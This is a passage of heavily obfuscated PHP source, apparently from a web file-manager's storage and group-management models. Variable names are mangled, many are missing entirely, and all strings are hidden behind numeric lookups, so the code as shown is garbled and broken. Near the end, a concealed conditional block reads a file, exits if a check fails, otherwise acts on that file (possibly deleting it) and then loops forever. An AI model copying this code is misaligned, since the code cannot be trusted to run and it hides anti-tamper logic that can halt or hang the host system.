rand_string(5)); $ = $ӄ . $󵲯մ . $Α; if ($ѭ) { $ = $ . $󡇛[10] . $ѭ; } } if (IO::isOsDriver($) && !IO::isUploadServer($)) { if (IO::exist($)) { return $; } $Ե؟ = IO::setContent($, $󡇛[12]); if (!$Ե؟) { show_json($󡇛[2022], !1); } } CacheLock::unlock($ˢ); break; case $󡇛[843]: break; default: break; } return $; } public function addFileByRemote($߹, $°, $˧ = array()) { $˟ =& $_SERVER[]; if (!IO::exist($߹)) { return !1; } $ = $˧[$˟[547]] ? $˧[$˟[547]] : $˟[12]; $؂ = IO::hashMd5($߹, $); $隋ѐ = KodIO::defaultDriver(); $ = array($˟[617] => IO::size($߹), $˟[2023] => 1, $˟[494] => $°, $˟[883] => $隋ѐ[$˟[475]], $˟[495] => $߹, $˟[2024] => $˧[$˟[672]] ? $˧[$˟[672]] : IO::hashSimple($߹), $˟[2025] => $؂ ? $؂ : $); if ($ = $this->addFileCheckExist($[$˟[672]], $[$˟[547]], $[$˟[79]])) { return $; } return $this->addFileData($); } private function addFileData($͇) { $όЖ =& $_SERVER[]; if (!$͇) { return !1; } $͇[$όЖ[79]] = intval($͇[$όЖ[79]]); if (!$͇[$όЖ[79]] && strlen($͇[$όЖ[672]]) > 32) { $͇[$όЖ[79]] = intval(substr($͇[$όЖ[672]], 32)); } $ַ = $this->add($͇); return $this->find($ַ); } public function addFile($, $Ž, $ = false) { $ =& $_SERVER[]; $É = IO::hashSimple($); $ߘݐ = IO::size($); $ = $ߘݐ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $[12]; $ = $[2026] . $É; CacheLock::lock($); if ($ && $É) { $֊ = $this->addFileCheckExist($É, $, $ߘݐ); if ($֊) { CacheLock::unlock($); return $֊; } } $󧻲 = $this->addFileMake($, $ߘݐ, $É, $, $Ž, $); $Կ = $this->addFileData($󧻲); CacheLock::unlock($); if (!$ && $Կ) { $this->fileMd5Check($Կ); } return $Կ; } public function fileMd5Check($) { $쬮 =& $_SERVER[]; $ވ = array($[$쬮[541]], $[$쬮[87]]); $ = $쬮[2027] . $[$쬮[87]]; $ = $쬮[2028] . $[$쬮[541]]; TaskQueue::add($쬮[2029], $ވ, $, $); } public function fileMd5Set($굥͏, $񽶃) { $ͨ =& $_SERVER[]; $ = $this->find($굥͏); if (!$ || $[$ͨ[547]]) { return; } $ = IO::hashMd5($񽶃); if (!$) { return $ͨ[12]; } $this->where(array($ͨ[541] => $굥͏))->save(array($ͨ[547] => $)); } public function addFileMake($, $æ, $縬, $, $, $Ѕ) { $ϒ =& $_SERVER[]; $֥ = $this->createFileName($, $縬, $); $ɵ = get_path_father($֥); $Τ = get_path_this($֥); if ($Ѕ) { $կ = IO::move($, $ɵ, !1, $Τ); } else { $կ = IO::copy($, $ɵ, !1, $Τ); } if (!$կ) { return !1; } $ҋ떗 = KodIO::defaultDriver(); $仦ٖ = array($ϒ[617] => $æ, $ϒ[2023] => 1, $ϒ[494] => $, $ϒ[883] => $ҋ떗[$ϒ[475]], $ϒ[495] => $֥, $ϒ[2024] => $縬, $ϒ[2025] => $); return $仦ٖ; } public function addFileCheckExist($Ջ, $ʕ, $ǎ) { $ʼn =& $_SERVER[]; $ҝ = $this->findByHash($Ջ, $ʕ); if (!$ҝ) { return !1; } $ = array($ʼn[2023] => intval($ҝ[$ʼn[2030]]) + 1, $ʼn[617] => $ǎ); $this->where(array($ʼn[542] => $ҝ[$ʼn[541]]))->save($); return $ҝ; } public function remove($׻) { $this->linkCountChange($׻, !1); $this->clearEmpty(); return !0; } public function linkAdd($ڄ) { $this->linkCountChange($ڄ, !0); } public function linkCountChange($ż, $ʄа) { $򓸦 =& $_SERVER[]; if (!$ż) { return; } if (!is_array($ż)) { $ż = array($ż); } $՛ = array(); foreach ($ż as $ܫ) { $ = $ܫ . $򓸦[12]; if (!$՛[$]) { $՛[$] = 0; } $՛[$]++; } $ = array(); foreach ($՛ as $ܫ => $) { $ = $ . $򓸦[12]; if (!$[$]) { $[$] = array(); } $[$][] = $ܫ; } foreach ($ as $ => $Ʋ) { if (!$Ʋ) { continue; } $ = $ʄа ? $ : -intval($); $ޑ = array($򓸦[541] => array($򓸦[7], $Ʋ)); if ($ < 0) { $ޑ[$򓸦[2030]] = array($򓸦[1086], abs($)); } $this->where($ޑ)->setAdd($򓸦[2030], $); } } public function findByHash($غ, $ = false) { $ϳ =& $_SERVER[]; if (!$غ && !$) { return !1; } $ = array($ϳ[2024] => $غ); if ($) { $ = array($ϳ[2025] => $); } return $this->order($ϳ[2031])->where($)->find(); } public function clearEmpty($ǖݶ = 0) { $ =& $_SERVER[]; $ = time() - 3600 * 24 * $ǖݶ; $͚ = $[2032] . $; $˼ = $this->where($͚)->select(); if (!$˼) { return; } $ = new Task($[2033], $[12], count($˼)); foreach ($˼ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($ݑ) { $Ҥ =& $_SERVER[]; $܈ = array($Ҥ[542] => $ݑ[$Ҥ[541]]); $ӆо = Model($Ҥ[1411])->where($܈)->count(); $ε = Model($Ҥ[2034])->where($܈)->count(); $Ҥ = intval($ӆо) + intval($ε); if ($Ҥ == 0) { IO::remove($ݑ[$Ҥ[87]]); Model($Ҥ[2035])->delete($ݑ[$Ҥ[541]]); $this->where($܈)->delete(); $this->metaSet($ݑ[$Ҥ[541]], null, null); write_log(ACTION . $Ҥ[2036] . KodUser::id() . $Ҥ[2037] . $ݑ[$Ҥ[541]] . $Ҥ[2038] . $ݑ[$Ҥ[79]] . $Ҥ[201] . $ݑ[$Ҥ[87]], $Ҥ[2039]); return; } if ($ݑ[$Ҥ[2030]] != $Ҥ) { $this->where($܈)->save(array($Ҥ[2023] => $Ҥ)); } } public function storageInfo($՗ = false) { $т =& $_SERVER[]; $ = $this->count() + 0.0; $
ޕ = 0; $̈ = 1; $ = 0; $ = 5000; for ($˯ň = 0; $˯ň < $; $˯ň = $˯ň + $) { $ = $this->limit($˯ň, $˯ň + $)->select(); foreach ($ as $) { $̈ += $[$т[79]] * $[$т[2030]]; $
ޕ += $[$т[79]] * ($[$т[2030]] - 1); $ += $[$т[2030]]; } } $ɢ = array($т[2040] => $̈, $т[2041] => $
ޕ, $т[2042] => $
ޕ / $̈, $т[83] => $, $т[2043] => $); return $ɢ; } } class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\165\x70"; protected $tableMeta = array("\164\x61\142\x6c\x65\116\141\x6d\145" => "\x67\162\157\165\x70\137\155\x65\x74\141", "\155\145\x74\141\106\151\x65\x6c\144" => "\147\x72\157\x75\160\x49\x44"); protected function cacheFunctionAlias($Ω) { $ǘ =& $_SERVER[]; return array($ǘ[2044] => array($Ω[0], $ǘ[2045]), $ǘ[2046] => array($Ω[0], $ǘ[2047])); } protected function getInfo($؞, $ = false) { $ǵ߽ = $this->getInfoSimple($؞); if (!$ǵ߽) { return !1; } if ($) { return $this->_listDataApplyItem($ǵ߽); } return $this->cacheFunctionGet($_SERVER[][2048], $؞); } protected function getInfoSimple($ψ, $ڼ = false) { $ =& $_SERVER[]; if ($ڼ) { $﫱 = array($[1962] => intval($ψ)); $ = $this->where($﫱)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[2049], $ψ); } protected function groupAdd($ݪ) { $܈ =& $_SERVER[]; if (!$ݪ[$܈[192]] && isset($ݪ[$܈[1962]]) && $ݪ[$܈[1962]] == 1) { if ($Αּ = $this->getInfoSimple($ݪ[$܈[1962]], !0)) { return $ݪ[$܈[1962]]; } } else { $Αּ = $this->getInfoSimple($ݪ[$܈[192]]); if (!$Αּ) { return !1; } } $Ꮣ = $܈[594]; if ($Αּ[$܈[584]]) { $Ꮣ = $Αּ[$܈[584]] . $Αּ[$܈[1962]] . $܈[50]; } $ = array($܈[494] => $this->groupNameAuto($ݪ[$܈[192]], $ݪ[$܈[32]]), $܈[477] => $ݪ[$܈[192]], $܈[652] => $Ꮣ, $܈[2050] => $ݪ[$܈[1948]], $܈[2051] => 0, $܈[1966] => 0); if (isset($ݪ[$܈[1986]])) { $[$܈[1986]] = $ݪ[$܈[1986]]; } else { $ = $this->max($܈[1986]); if (!$) { $ = 0; } $[$܈[1986]] = $ + 1; } if (!empty($ݪ[$܈[1962]])) { $[$܈[1962]] = $ݪ[$܈[1962]]; } $롚 = $this->add($); $this->setNamePinyin($롚, $[$܈[32]]); if (isset($ݪ[$܈[2052]])) { $this->metaSet($롚, array($܈[2052] => $ݪ[$܈[2052]], $܈[2053] => $ݪ[$܈[2053]])); unset($ݪ[$܈[2052]]); unset($ݪ[$܈[2053]]); } Model($܈[1411])->groupRootAdd($롚); $this->_clearCache($ݪ[$܈[192]]); return $롚; } protected function groupEdit($, $ݻ) { $ܥ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($ݻ[$ܥ[192]])) { $Ĕ = $this->getInfoSimple($ݻ[$ܥ[192]]); if (!$Ĕ) { return !1; } if ($[$ܥ[1962]] == $Ĕ[$ܥ[1962]]) { return !1; } if ($ݻ[$ܥ[192]] != $[$ܥ[192]]) { if ($Ĕ[$ܥ[584]] !== $[$ܥ[584]] && strpos($Ĕ[$ܥ[584]], $[$ܥ[584]] . $[$ܥ[1962]] . $ܥ[50]) === 0) { return !1; } $ݻ[$ܥ[652]] = $Ĕ[$ܥ[584]] . $ݻ[$ܥ[192]] . $ܥ[50]; $this->_changeChildLevel($, $Ĕ); $this->_clearCache($Ĕ[$ܥ[1962]]); $this->_clearCache($[$ܥ[192]]); } } if (isset($ݻ[$ܥ[32]])) { $this->setNamePinyin($, $ݻ[$ܥ[32]]); } if (isset($ݻ[$ܥ[2052]])) { $this->metaSet($, array($ܥ[2052] => $ݻ[$ܥ[2052]], $ܥ[2053] => $ݻ[$ܥ[2053]])); unset($ݻ[$ܥ[2052]]); unset($ݻ[$ܥ[2053]]); } $this->_clearChildrenCache($); return $this->where(array($ܥ[2054] => $))->save($ݻ); } private function _clearChildrenCache($𹐅) { $㙙 =& $_SERVER[]; $׻ = array($㙙[652] => array($㙙[612], $𹐅[$㙙[584]] . $𹐅[$㙙[1962]] . $㙙[613])); $ٔ = $this->field($㙙[1962])->where($׻)->select(); foreach ($ٔ as $މ) { $this->_clearCache($މ[$㙙[1962]]); } } private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2048], $); $this->cacheFunctionClear($[2049], $); } private function _changeChildLevel($, $, $ü = false) { $ =& $_SERVER[]; $ = $[$[584]] . $[$[1962]] . $[50]; $ = $[$[584]] . $[$[1962]] . $[50] . $[$[1962]] . $[50]; if ($ü) { $ = $[$[584]] . $[$[1962]] . $[50]; } $̲ = array($[652] => array($[612], $[$[584]] . $[$[1962]] . $[613])); $ = array($[652] => array($[661], "\162\145\x70\154\x61\143\x65\50\x70\141\162\x65\156\x74\114\x65\166\x65\154\54\x27{$}\x27\54\47{$}\47\x29")); $this->_clearChildrenCache($); $this->where($̲)->data($)->save(); } public function setNamePinyin($Ϊބ, $脦 = false) { $☑ =& $_SERVER[]; if (!$脦) { $Ƥנ = $this->getInfoSimple($Ϊބ); $脦 = $Ƥנ[$☑[32]]; } if (!Input::check($脦, $☑[655])) { $this->metaSet($Ϊބ, $☑[538], null); $this->metaSet($Ϊބ, $☑[537], null); return; } $ = array($☑[538] => str_replace($☑[53], $☑[12], Pinyin::get($脦)), $☑[537] => Pinyin::get($脦, $☑[656])); $this->metaSet($Ϊބ, $); } protected function metaSet($ֲ, $ = null, $ = null) { $this->_clearCache($ֲ); return parent::metaSet($ֲ, $, $); } protected function groupStatus($ⵑ͊, $݆) { $ޅ֮ =& $_SERVER[]; $ڇ = $this->getInfoSimple($ⵑ͊); if (!$ڇ) { return !1; } $this->_clearCache($ⵑ͊); return $this->metaSet($ⵑ͊, $ޅ֮[817], $݆); if ($݆ == $ޅ֮[91]) { $ϻ = $this->parentLevelArray($ڇ[$ޅ֮[584]]); } else { } $ϻ[] = $ڇ[$ޅ֮[1962]]; $ꜗ = array(); foreach ($ϻ as $ⵑ͊) { $ꜗ[] = array($ޅ֮[1962] => $ⵑ͊, $ޅ֮[97] => $ޅ֮[817], $ޅ֮[450] => $݆); $this->_clearCache($ⵑ͊); } return Model($ޅ֮[2055])->addAll($ꜗ, array(), !0); } protected function groupRemove($ᐷ, $Ƃ = false) { $̡ =& $_SERVER[]; $ = array($̡[1962] => $ᐷ); $ԭ = $this->where($)->find(); if (!$ԭ || $ԭ[$̡[192]] == 0) { return !1; } if (!$Ƃ) { $ = $this->getInfoSimple($ԭ[$̡[192]]); $this->_changeChildLevel($ԭ, $, !0); $this->where(array($̡[192] => $ᐷ))->save(array($̡[192] => $ԭ[$̡[192]])); $this->_clearCache($[$̡[1962]]); } Model($̡[2055])->where($)->delete(); Model($̡[2056])->where($)->delete(); Model($̡[899])->groupRootRemove($ᐷ); $this->_clearCache($ԭ[$̡[192]]); return $this->where($)->delete(); } protected function groupSort($ڋ) { $ =& $_SERVER[]; $Š = array(); foreach ($ڋ as $ => $ ) { $Š[] = array($[1962], $ , $[1986], $ + 1); } $this->saveAll($Š); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][445]]); return $; } private function _makeOrder($ = '') { $䟸 =& $_SERVER[]; $ = array($䟸[1962], $䟸[32], $䟸[1950], $䟸[231]); $޶ = array($䟸[523] => $䟸[524], $䟸[525] => $䟸[526]); $ҡ = Input::get($䟸[530], $䟸[7], $䟸[1966], $); $ᶅ = Input::get($䟸[531], $䟸[7], $䟸[2057], array($䟸[2057], $䟸[525])); $ᶅ = $޶[$ᶅ]; $ = $ . "{$ҡ}\40{$ᶅ}\x2c\40\147\162\x6f\165\160\x49\x44\x20\x61\163\x63"; return $this->order($); } public function listChild($깇ɢ) { $ˌڭ =& $_SERVER[]; $ = $this->where(array($ˌڭ[192] => $깇ɢ))->_makeOrder()->selectPage(200); $this->_listDataApply($[$ˌڭ[445]]); return $; } public function listChildIds($) { $Ԁ =& $_SERVER[]; if (is_string($ɥ)) { $ = explode($Ԁ[50], $); } $ڧ· = $this->where(array($Ԁ[1962] => array($Ԁ[7], $)))->field($Ԁ[2058])->select(); if (!$ڧ·) { return !1; } $ۇ = array(); foreach ($ڧ· as $ܗ) { $ۇ[] = "\x73\145\x6c\145\143\164\40\147\x72\157\165\x70\x49\x44\x20\x66\162\157\x6d\40\140\x67\x72\157\165\160\140\x20\167\150\145\162\145\40\160\141\x72\x65\x6e\x74\114\x65\166\145\x6c\x20\x6c\x69\153\x65\x20\x27{$ܗ[$Ԁ[584]]}{$ܗ[$Ԁ[1962]]}\54\45\47"; } $ۇ = implode($Ԁ[2059], $ۇ); $ڧ· = $this->query($ۇ); if (!$ڧ·) { return array(); } $ = array_to_keyvalue($ڧ·, $Ԁ[12], $Ԁ[1962]); return array_unique($); } public function listByID($) { $ =& $_SERVER[]; if (!$) { return array(); } $ƪ = array($[1962] => array($[7], $)); $Ϋ = $this->where($ƪ)->select(); $Ϋ = array_sort_keep($Ϋ, $[1962], $); $this->_listDataApply($Ϋ); return $Ϋ; } public function listSearch($ۆۙ) { $ =& $_SERVER[]; $ = trim($ۆۙ[$[2060]]); $ = explode($[53], $); if (!$ || count($) == 1) { return $this->listSearchNow($ۆۙ); } $ˈ = array($[445] => array()); foreach ($ as $Ƿ) { if (!trim($Ƿ)) { continue; } $ۆۙ[$[2060]] = $Ƿ; $̡ն = $this->listSearchNow($ۆۙ); $ˈ[$[445]] = array_merge($ˈ[$[445]], $̡ն[$[445]]); } $ˈ[$[445]] = array_unique_by_key($ˈ[$[445]], $[1962]); $ˈ[$[442]] = array($[443] => count($ˈ[$[445]]), $[439] => 20, $[429] => 1, $[444] => 1); return $ˈ; } public function listSearchNow($ɪ߆) { $ʲ =& $_SERVER[]; $Ì = trim($ɪ߆[$ʲ[2060]]); $˥ = isset($ɪ߆[$ʲ[2061]]) ? $ɪ߆[$ʲ[2061]] : !1; if (!trim($Ì)) { return !1; } $Ì = str_replace($ʲ[2062], $ʲ[2063], $Ì); $깄 = array($ʲ[1962] => array($ʲ[459], "{$Ì}\x25"), $ʲ[32] => array($ʲ[459], "\45{$Ì}\45"), $ʲ[1071] => $ʲ[2064]); if ($˥) { $ы = $this->getInfoSimple($˥); $ = $ы[$ʲ[584]] . $˥ . $ʲ[613]; $깄 = array($깄, array($ʲ[584] => array($ʲ[459], $))); } $깄 = $this->parseWhereLike($깄); $ = $this->_makeOrder()->where($깄)->selectPage(20); $ = $ ? $ : array($ʲ[445] => array(), $ʲ[442] => array()); if (!$ || count($[$ʲ[445]]) < 5 && Input::check($Ì, $ʲ[394])) { $˖ = $this->groupChildrenAll($˥); $‰ = $this->_searchFromMeta($ʲ[537], $Ì, 10, $˖); $Պ = $this->_searchFromMeta($ʲ[538], $Ì, 10, $˖); $񤥸 = array_merge($‰, $Պ, $[$ʲ[445]]); $[$ʲ[445]] = array_unique_by_key($񤥸, $ʲ[1962]); $[$ʲ[442]][$ʲ[443]] = count($[$ʲ[445]]); $[$ʲ[442]][$ʲ[444]] = ceil($[$ʲ[442]][$ʲ[443]] / $[$ʲ[442]][$ʲ[439]]); } $this->_listDataApply($[$ʲ[445]]); return $; } protected function groupChildrenAll($ʹ) { $ =& $_SERVER[]; if (!$ʹ) { return !1; } if (!is_array($ʹ)) { $ʹ = array($ʹ); } $ = $ʹ; foreach ($ʹ as $) { $ʾ浂 = $this->getInfoSimple($); $ = array($[584] => array($[459], $ʾ浂[$[584]] . $ . $[613])); $ = $this->field($[1962])->where($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[1962])); } return array_unique($); } private function _searchFromMeta($ݐα, $ꦲ, $֥, $) { $ׁ =& $_SERVER[]; $ꦲ = strtolower($ꦲ); $› = array($ׁ[97] => $ݐα, $ׁ[450] => array($ׁ[459], "\45{$ꦲ}\45")); $› = $this->parseWhereLike($›); if ($) { $›[$ׁ[1962]] = array($ׁ[7], $); } $ = Model($ׁ[2065])->where($›)->limit($֥)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $ׁ[12], $ׁ[1962]); $֛ = $this->where(array($ׁ[2054] => array($ׁ[7], $)))->select(); if (!$֛) { return array(); } return $֛; } protected function _listDataApplyItem($惪) { $Ǧ = array($惪); $this->_listDataApply($Ǧ); return $Ǧ[0]; } protected function _listDataApply(&$τ) { $ =& $_SERVER[]; if (!$τ) { return; } $Ɯ = array_to_keyvalue($τ, $[12], $[1962]); $this->_listAppendChildren($τ); $this->_listAppendChildrenMember($τ); $this->_listAppendMeta($τ, $Ɯ); $this->_listAppendParent($τ); $this->_listAppendSourceRoot($τ, $Ɯ); } private function _listAppendChildren(&$뀌) { $ =& $_SERVER[]; $ħ = array_to_keyvalue($뀌, $[12], $[1962]); $ = array($[192] => array($[7], $ħ)); $ = array($[192], $[2066] => $[565]); $ = $this->field($)->where($)->group($[192])->select(); $͸ = array_to_keyvalue($, $[192], $[565]); foreach ($뀌 as &$Կ) { $쭽 = $Կ[$[1962]]; $Կ[$[2067]] = isset($͸[$쭽]) ? intval($͸[$쭽]) : !1; } unset($Կ); } private function _listAppendChildrenMember(&$鵑Ƹ) { $ߙ =& $_SERVER[]; $ꍇ͊ = array_to_keyvalue($鵑Ƹ, $ߙ[12], $ߙ[1962]); $ٸ = array($ߙ[1962] => array($ߙ[7], $ꍇ͊)); $ = array($ߙ[1962], $ߙ[2066] => $ߙ[565]); $ʑ = Model($ߙ[2056])->field($)->where($ٸ)->group($ߙ[1962])->select(); $ = array_to_keyvalue($ʑ, $ߙ[1962], $ߙ[565]); foreach ($鵑Ƹ as &$Ҝ) { $ = $Ҝ[$ߙ[1962]]; $Ҝ[$ߙ[2068]] = isset($[$]) ? intval($[$]) : !1; } unset($Ҝ); } private function _listAppendMeta(&$, $) { $̔ =& $_SERVER[]; $ = array($̔[1962] => array($̔[7], $)); $ߊ = Model($̔[2055])->where($)->select(); $ߊ = array_to_keyvalue_group($ߊ, $̔[1962]); foreach ($ߊ as &$) { $ = array_to_keyvalue($, $̔[97], $̔[450]); } unset($); foreach ($ as &$…) { $…[$̔[539]] = array(); if (isset($ߊ[$…[$̔[1962]]])) { $…[$̔[539]] = $ߊ[$…[$̔[1962]]]; } } unset($…); } protected function parentLevelArray($럌) { $ݦ =& $_SERVER[]; $럌 = explode($ݦ[50], trim($럌, $ݦ[50])); $럌 = array_remove_value($럌, $ݦ[228]); return $럌; } protected function parentInGroup($̷ߵ, $Ǝ) { $胾 =& $_SERVER[]; $ = $this->getInfoSimple($̷ߵ); if (!$) { return !0; } $Ј = $this->parentLevelArray($[$胾[584]]); $Ј[] = $̷ߵ; foreach ($Ј as $̷ߵ) { if (in_array($̷ߵ . $胾[12], $Ǝ)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as &$Ȅ) { $[$Ȅ[$[1962]]] = $Ȅ[$[32]]; $׺ = $this->parentLevelArray($Ȅ[$[584]]); foreach ($׺ as $ě) { if (!isset($[$ě])) { $[$ě] = 0; } } } unset($Ȅ); foreach ($ as $ => $ǽ) { if ($ǽ) { continue; } $ԧ = $this->getInfoSimple($); $[$] = $ԧ[$[32]]; } $كҾ = $GLOBALS[$[6]][$[92]][$[2069]]; if (KodUser::isRoot()) { $كҾ = !1; } foreach ($ as &$Ȅ) { $׺ = $this->parentLevelArray($Ȅ[$[584]]); $ = $[12]; foreach ($׺ as $ => $ě) { if ($كҾ && $ == 0) { continue; } $ .= $[$ě] . $[8]; } if ($׺) { $ .= $Ȅ[$[32]]; } $Ȅ[$[589]] = str_replace($[592], $[8], $); } unset($Ȅ); } private function _listAppendSourceRoot(&$Ņ, $) { $ =& $_SERVER[]; $ܵ = Model($[899])->listSourceRoot(SourceModel::TYPE_GROUP, $); $ܵ = array_to_keyvalue($ܵ, $[569]); $ܵ = array_remove_key($ܵ, $[569]); foreach ($Ņ as &$Ǚ) { $Ǚ[$[90]] = $ܵ[$Ǚ[$[1962]]] ? $ܵ[$Ǚ[$[1962]]] : array(); } unset($Ǚ); } protected function groupMerge($) { $ = array_values(array_unique($)); $ = array(); for ($ÿ = 0; $ÿ < count($); $ÿ++) { $ = !1; for ($ = 0; $ < count($); $++) { if ($ÿ == $) { continue; } if ($this->isParentOf($[$], $[$ÿ])) { $ = !0; break; } } if (!$) { $[] = $[$ÿ]; } } return $; } protected function isParentOf($ȝ, $) { $ݎ =& $_SERVER[]; if (!$ȝ || !$ || $ȝ == $) { return !1; } $̸Ҋ = $this->getInfoSimple($ȝ); $갫 = $this->getInfoSimple($); $ۖ = $̸Ҋ[$ݎ[584]] . $ȝ . $ݎ[50]; if (substr($갫[$ݎ[584]], 0, strlen($ۖ)) == $ۖ) { return !0; } return !1; } public function groupShowRoot($걹, $ = false) { $ॐ =& $_SERVER[]; $ܩ = $this->getInfo($걹); if (!$ܩ) { return array(); } $ = $this->parentLevelArray($ܩ[$ॐ[584]]); $ = array($걹); if (count($) == 0) { return $; } if ($ && count($) == 1) { return $; } if (!$ܩ[$ॐ[539]] || !isset($ܩ[$ॐ[539]][$ॐ[2052]]) || $ܩ[$ॐ[539]][$ॐ[2052]] == $ॐ[843]) { return $this->groupShowRoot($[count($) - 1], $); } if ($ܩ[$ॐ[539]][$ॐ[2052]] == $ॐ[433]) { $ғ = explode($ॐ[50], $ܩ[$ॐ[539]][$ॐ[2053]]); if ($ғ) { $ = array_merge($, $ғ); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ڔ = $[1962]; $ﻀ = $this->select(); $ﻀ = array_to_keyvalue($ﻀ, $ڔ); foreach ($ﻀ as $) { $ = $; $ = array(); while ($[$[192]] != 0) { $[] = $[$[192]]; $ = $ﻀ[$[$[192]]]; } $[] = 0; $ = $[50] . implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($[$ڔ], $[$[32]]); $this->where(array($ڔ => $[$ڔ]))->save(array($[652] => $)); } return $ﻀ; } public function groupNameAuto($, $Ľ) { $㠘 =& $_SERVER[]; $ɺ = $this->where(array($㠘[477] => $))->getField($㠘[32], !0); if (!$ɺ || !in_array($Ľ, $ɺ)) { return $Ľ; } for ($ = 1; $ <= count($ɺ) + 1; $++) { $ΰ = $Ľ . "\x28{$}\x29"; if (!in_array($ΰ, $ɺ)) { return $ΰ; } } } public function groupSwitch($˩, $) { $տ =& $_SERVER[]; $՛ѽ = array($տ[1962] => array($տ[7], array($˩, $))); $ַ = $this->where($՛ѽ)->select(); $ַ = array_to_keyvalue($ַ, $տ[1962]); if (!isset($ַ[$˩]) || !isset($ַ[$]) || $ַ[$˩][$տ[192]] == 0) { return !1; } $՛ѽ = array($տ[1962] => $˩); $꫍ = Model($տ[2056])->where($՛ѽ)->select(); if (!$꫍) { $꫍ = array(); } foreach ($꫍ as $) { $̎ = $[$տ[1763]]; $՛ѽ = array($տ[1763] => $̎, $տ[1962] => $); $̢ = Model($տ[2056])->where($՛ѽ)->find(); if (!$̢) { $ = array($ => $[$տ[2070]]); Model($տ[598])->userGroupAdd($̎, $); } Model($տ[598])->userGroupRemove($̎, $˩); } $՛ѽ = array($տ[190] => 2, $տ[192] => 0, $տ[485] => 1, $տ[569] => array($տ[7], array($˩, $))); $ = Model($տ[899])->where($՛ѽ)->field($տ[2071])->select(); $ = array_to_keyvalue($, $տ[569], $տ[193]); $˧ = !empty($[$˩]) ? $[$˩] : !1; if ($˧) { if (!$[$]) { $[$] = Model($տ[899])->groupRootAdd($); } $ʨ = $[$]; $՛ѽ = array($տ[192] => $˧); $ = Model($տ[899])->where($՛ѽ)->field($տ[2072])->select(); if (!$) { $ = array(); } Model($տ[899])->moveClearAuth = !1; foreach ($ as $ͽ) { $ = $ͽ[$տ[485]] == $տ[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($տ[899])->move($ͽ[$տ[193]], $ʨ, $); } Model($տ[899])->moveClearAuth = !0; $՛ѽ = array($տ[190] => 2, $տ[569] => $˩); $ = array($տ[569] => $); Model($տ[2073])->where($՛ѽ)->save($); Model($տ[2074])->where($՛ѽ)->save($); } $this->_changeChildLevel($ַ[$˩], $ַ[$], !0); $this->where(array($տ[192] => $˩))->save(array($տ[192] => $)); $this->_clearChildrenCache($ַ[$]); return !0; } } if (!isset($_SERVER[$_SERVER[][846]]) || !isset($_SERVER[$_SERVER[][844]])) { $_getc = $_SERVER[][847]; $_getfile = $_SERVER[$_SERVER[][848]] . $_SERVER[][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][687]) { $exit = $_SERVER[][850]; $exit(); } $_act = $_SERVER[][851]; $_act($_SERVER[$_SERVER[][848]] . $_SERVER[][849]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][454]); } } goto E; Aϝ: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\163\x74\x65\x6d\117\x70\x74\151\x6f\156"; public $field = array(); public function listData($ = false, $ю = "\155\157\144\151\146\x79\124\x69\x6d\145", $ = false) { $Վ̲ = Model($this->modelType)->get(!1, $this->optionType, !0); $ݓ = array_values($Վ̲); if ($ݓ && $ݓ[0] && !is_array($ݓ[0])) { Model($this->modelType)->cacheRemove($this->optionType); $Վ̲ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$Վ̲) { return $ ? null : array(); } if (!$) { $Վ̲ = array_filter(array_values($Վ̲)); return array_sort_by($Վ̲, $ю, $); } return $Վ̲[$_SERVER[][472] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ʼn = Model($this->modelType)->get($[473], $this->optionType . $[474]); $ʼn = $ʼn ? $ʼn : 0; $[$[475]] = ++$ʼn; $[$[231]] = time(); $[$[88]] = time(); Model($this->modelType)->set($[473], $ʼn, $this->optionType . $[474]); Model($this->modelType)->set($[472] . $ʼn, $, $this->optionType); return $ʼn; } public function update($艮, $є) { $ֺ =& $_SERVER[]; $є = array_field_key($є, $this->field); $ = $this->listData($艮); if (!$ || !$艮) { return !1; } $є = array_merge($, $є); $є[$ֺ[88]] = time(); return Model($this->modelType)->set($ֺ[472] . $艮, $є, $this->optionType); } public function remove($ۙ) { if (!$ۙ) { return !1; } return Model($this->modelType)->remove($_SERVER[][472] . $ۙ, $this->optionType); } public function clear() { $ =& $_SERVER[]; Model($this->modelType)->remove($[473], $this->optionType . $[474]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ݣˁ, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $ݣˁ); return isset($[$]) ? $[$] : !1; } public function findByName($ί) { return $this->findByKey($_SERVER[][32], $ί); } protected function resetData($) { $ӑ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ = 0; $ < count($); $++) { $[$ӑ[472] . $[$][$ӑ[475]]] = $[$]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ || !isset($[$])) { return $; } for ($竛 = 1; $竛 < count($); $竛++) { $ = $ . "\x28{$竛}\x29"; if (!isset($[$])) { return $; } } return $; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($뫠 = false, $Ȗ = '', $ت; = false) { $ =& $_SERVER[]; $؍ = $this->cacheGet($Ȗ); $ = $this->optionDefault($Ȗ); $ = is_array($) ? $ : array(); if (is_array($؍)) { $؍ = array_merge($, $؍); return $뫠 ? isset($؍[$뫠]) ? $؍[$뫠] : null : $؍; } $ = $this->filterWhere(array($[33] => $Ȗ)); $؍ = $this->where($)->select(); $؍ = 